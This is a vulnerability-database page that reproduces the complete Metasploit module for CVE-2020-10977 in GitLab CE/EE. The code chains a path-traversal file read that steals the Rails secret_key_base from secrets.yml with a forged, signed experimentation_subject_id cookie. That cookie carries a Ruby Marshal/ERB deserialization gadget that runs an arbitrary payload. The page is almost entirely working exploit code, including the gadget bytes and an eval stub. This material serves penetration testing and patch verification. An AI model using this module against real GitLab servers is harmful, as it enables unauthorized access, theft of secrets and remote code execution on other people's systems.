Lucene search
K

GitLab File Read Remote Code Execution

🗓️ 10 Dec 2020 17:41:29Reported by William Bowling (vakzz), alanfosterType 
metasploit
 metasploit
🔗 www.rapid7.com👁 93 Views

GitLab Remote Code Execution via File Read and Cookie Deserializatio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
GitLab File Read Remote Code Execution Exploit
10 Dec 202000:00
zdt
GithubExploit
Exploit for Path Traversal in Gitlab
2 May 202010:03
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
25 Nov 202022:48
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
2 May 202108:45
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
11 Apr 202106:31
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
20 Nov 202015:40
githubexploit
GithubExploit
Exploit for Path Traversal in Gitlab
29 Jan 202116:17
githubexploit
ATTACKERKB
CVE-2020-10977
8 Apr 202000:00
attackerkb
Circl
CVE-2020-10977
9 Dec 202017:40
circl
CNVD
GitLab EE/CE Path Traversal Vulnerability
9 Apr 202000:00
cnvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  # From Rails
  class MessageVerifier

    class InvalidSignature < StandardError
    end

    def initialize(secret, options = {})
      @secret = secret
      @digest = options[:digest] || 'SHA1'
      @serializer = options[:serializer] || Marshal
    end

    def generate(value)
      data = ::Base64.strict_encode64(@serializer.dump(value))
      "#{data}--#{generate_digest(data)}"
    end

    def generate_digest(data)
      require 'openssl' unless defined?(OpenSSL)
      OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
    end

  end

  class NoopSerializer
    def dump(value)
      value
    end
  end

  class KeyGenerator

    def initialize(secret, options = {})
      @secret = secret
      @iterations = options[:iterations] || 2**16
    end

    def generate_key(salt, key_size = 64)
      OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
    end

  end

  class GitLabClientException < StandardError; end

  class GitLabClient
    def initialize(http_client)
      @http_client = http_client
    end

    def sign_in(username, password)
      @http_client.cookie_jar.clear

      sign_in_path = '/users/sign_in'
      csrf_token = extract_csrf_token(
        path: sign_in_path,
        regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
      )
      res = @http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => '/users/sign_in',
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'user[login]' => username,
          'user[password]' => password,
          'user[remember_me]' => 0
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Invalid Login or password')
        raise GitLabClientException, 'Username or password invalid'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      elsif res.headers.fetch('Location', '').include?(sign_in_path)
        raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
      end

      current_user
    end

    def current_user
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/user',
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def version
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => '/api/v4/version',
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      JSON.parse(res.body)
    end

    def create_project(user:)
      new_project_path = '/projects/new'
      create_project_path = '/projects'

      csrf_token = extract_csrf_token(
        path: new_project_path,
        regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      project_name = Rex::Text.rand_text_alphanumeric(8)
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_project_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'project[ci_cd_only]' => 'false',
          'project[name]' => project_name,
          'project[namespace_id]' => (user['id']).to_s,
          'project[path]' => project_name,
          'project[description]' => Rex::Text.rand_text_alphanumeric(8),
          'project[visibility_level]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.body.include?('Namespace is not valid')
        raise GitLabClientException, 'This uer can not create additional projects, please delete some'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      project(user: user, project_name: project_name)
    end

    def project(user:, project_name:)
      project_path = "/#{user['username']}/#{project_name}"
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => project_path,
        'keep_cookies' => true
      })
      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      project_id = res.body[/Project ID: (\d+)/, 1]
      {
        'id' => project_id,
        'name' => project_name,
        'path' => project_path,
        'edit_path' => "#{project_path}/edit",
        'delete_path' => "/#{user['username']}/#{project_name}"
      }
    end

    def delete_project(project:)
      edit_project_path = project['edit_path']
      delete_project_path = project['delete_path']

      csrf_token = extract_csrf_token(
        path: edit_project_path,
        regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => delete_project_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          '_method' => 'delete'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      true
    end

    def create_issue(project:, issue:)
      new_issue_path = "#{project['path']}/issues/new"
      create_issue_path = "#{project['path']}/issues"

      csrf_token = extract_csrf_token(
        path: new_issue_path,
        regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/
      )
      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => create_issue_path,
        'keep_cookies' => true,
        'vars_post' => {
          'utf8' => '✓',
          'authenticity_token' => csrf_token,
          'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
          'issue[confidential]' => '0',
          'issue[assignee_ids][]' => '0',
          'issue[label_ids][]' => '',
          'issue[due_date]' => '',
          'issue[lock_version]' => '0'
        }
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 302
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      issue_id = res.body[%r{You are being <a href="https?://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]

      issue.merge({
        'path' => "#{create_issue_path}/#{issue_id}",
        'move_path' => "#{create_issue_path}/#{issue_id}/move"
      })
    end

    def move_issue(issue:, target_project:)
      issue_path = issue['path']
      move_issue_path = issue['move_path']

      csrf_token = extract_csrf_token(
        path: issue_path,
        regex: /name="csrf-token" content="([^"]+)"/
      )

      res = http_client.send_request_cgi({
        'method' => 'POST',
        'uri' => move_issue_path,
        'keep_cookies' => true,
        'ctype' => 'application/json',
        'headers' => {
          'X-CSRF-Token' => csrf_token,
          'X-Requested-With' => 'XMLHttpRequest'
        },
        'data' => {
          'move_to_project_id' => (target_project['id']).to_s
        }.to_json
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      json_res = JSON.parse(res.body)

      {
        'path' => json_res['web_url'],
        'description' => json_res['description']
      }
    end

    def download(project:, path:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => "#{project['path']}/#{path}",
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      res.body
    end

    private

    attr_reader :http_client

    def extract_csrf_token(path:, regex:)
      res = http_client.send_request_cgi({
        'method' => 'GET',
        'uri' => path,
        'keep_cookies' => true
      })

      if res.nil? || res.body.nil?
        raise GitLabClientException, 'Empty response. Please validate RHOST'
      elsif res.code != 200
        raise GitLabClientException, "Unexpected HTTP #{res.code} response."
      end

      token = res.body[regex, 1]
      if token.nil?
        raise GitLabClientException, 'Could not successfully extract CSRF token'
      end

      token
    end
  end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab File Read Remote Code Execution',
        'Description' => %q{
          This module provides remote code execution against GitLab Community
          Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
          read to extract the Rails "secret_key_base", and gains remote code
          execution with a deserialization vulnerability of a signed
          'experimentation_subject_id' cookie that GitLab uses internally for A/B
          testing.

          Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
          and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
          versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
          cookie was introduced.

          Tested on GitLab 12.8.1 and 12.4.0.
        },
        'Author' => [
          'William Bowling (vakzz)', # Discovery + PoC
          'alanfoster', # msf module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2020-10977'],
          ['URL', 'https://hackerone.com/reports/827052'],
          ['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
        ],
        'DisclosureDate' => '2020-03-26',
        'Platform' => 'ruby',
        'Arch' => ARCH_RUBY,
        'Privileged' => false,
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password for the specified username']),
        OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
        OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
        OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
        OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
      ]
    )
    register_advanced_options(
      [
        OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
        OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
      ]
    )
  end

  #
  # This stub ensures that the payload runs outside of the Rails process
  # Otherwise, the session can be killed on timeout
  #
  def detached_payload_stub(code)
    %^
    code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
    if RUBY_PLATFORM =~ /mswin|mingw|win32/
      inp = IO.popen("ruby", "wb") rescue nil
      if inp
        inp.write(code)
        inp.close
      end
    else
      Kernel.fork do
        eval(code)
      end
    end
    {}
  ^.strip.split(/\n/).map(&:strip).join("\n")
  end

  def build_payload
    code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"

    # Originally created with Active Support 6.x
    #   code = '`curl 10.10.15.26`'
    #   erb = ERB.allocate; nil
    #   erb.instance_variable_set(:@src, code);
    #   erb.instance_variable_set(:@filename, "1")
    #   erb.instance_variable_set(:@lineno, 1)
    #   value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    #   Marshal.dump(value)
    "\x04\b" \
      'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
        "\t:\x0E@instance" \
          "o:\bERB" \
            "\b" \
              ":\t@src#{Marshal.dump(code)[2..]}" \
              ":\x0E@filename\"\x061" \
              ":\f@linenoi\x06" \
          ":\f@method:\vresult" \
          ":\t@var\"\f@result" \
        ":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
  end

  def sign_payload(secret_key_base, payload)
    key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
    key = key_generator.generate_key(datastore['SignedCookieSalt'])
    verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
    verifier.generate(payload)
  end

  def check
    validate_credentials_present!

    git_lab_client = GitLabClient.new(self)
    git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    version = Rex::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])

    # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
    # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
    has_rce_present =
      version.between?(Rex::Version.new('12.4.0'), Rex::Version.new('12.7.7')) ||
      version.between?(Rex::Version.new('12.8.0'), Rex::Version.new('12.8.7')) ||
      version == Rex::Version.new('12.9.0')

    if has_rce_present
      return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
    end

    Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
  rescue GitLabClientException => e
    Exploit::CheckCode::Unknown(e.message)
  end

  def validate_credentials_present!
    missing_options = []

    missing_options << 'USERNAME' if datastore['USERNAME'].blank?
    missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?

    if missing_options.any?
      raise Msf::OptionValidateError, missing_options
    end
  end

  def read_secret_key_base
    return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?

    validate_credentials_present!
    git_lab_client = GitLabClient.new(self)
    user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    print_status("Logged in to user #{user['username']}")

    project_a = git_lab_client.create_project(user: user)
    print_status("Created project #{project_a['path']}")
    project_b = git_lab_client.create_project(user: user)
    print_status("Created project #{project_b['path']}")

    issue = git_lab_client.create_issue(
      project: project_a,
      issue: {
        'description' => "![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
      }
    )
    print_status("Created issue #{issue['path']}")

    print_status('Executing arbitrary file load')
    moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
    secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]
    secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
    loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
    print_good("File saved as: '#{loot_path}'")

    secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]
    if secret_key_base.nil?
      fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
    end

    print_good("Extracted secret_key_base #{secret_key_base}")
    print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')

    secret_key_base
  rescue GitLabClientException => e
    fail_with(Failure::UnexpectedReply, e.message)
  ensure
    [project_a, project_b].each do |project|
      next unless project

      print_status("Attempting to delete project #{project['path']}")
      git_lab_client.delete_project(project: project)
      print_status("Deleted project #{project['path']}")
    rescue StandardError
      print_error("Failed to delete project #{project['path']}")
    end
  end

  def exploit
    secret_key_base = read_secret_key_base

    payload = build_payload
    signed_cookie_value = sign_payload(secret_key_base, payload)

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'cookie' => "experimentation_subject_id=#{signed_cookie_value}"
    })
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation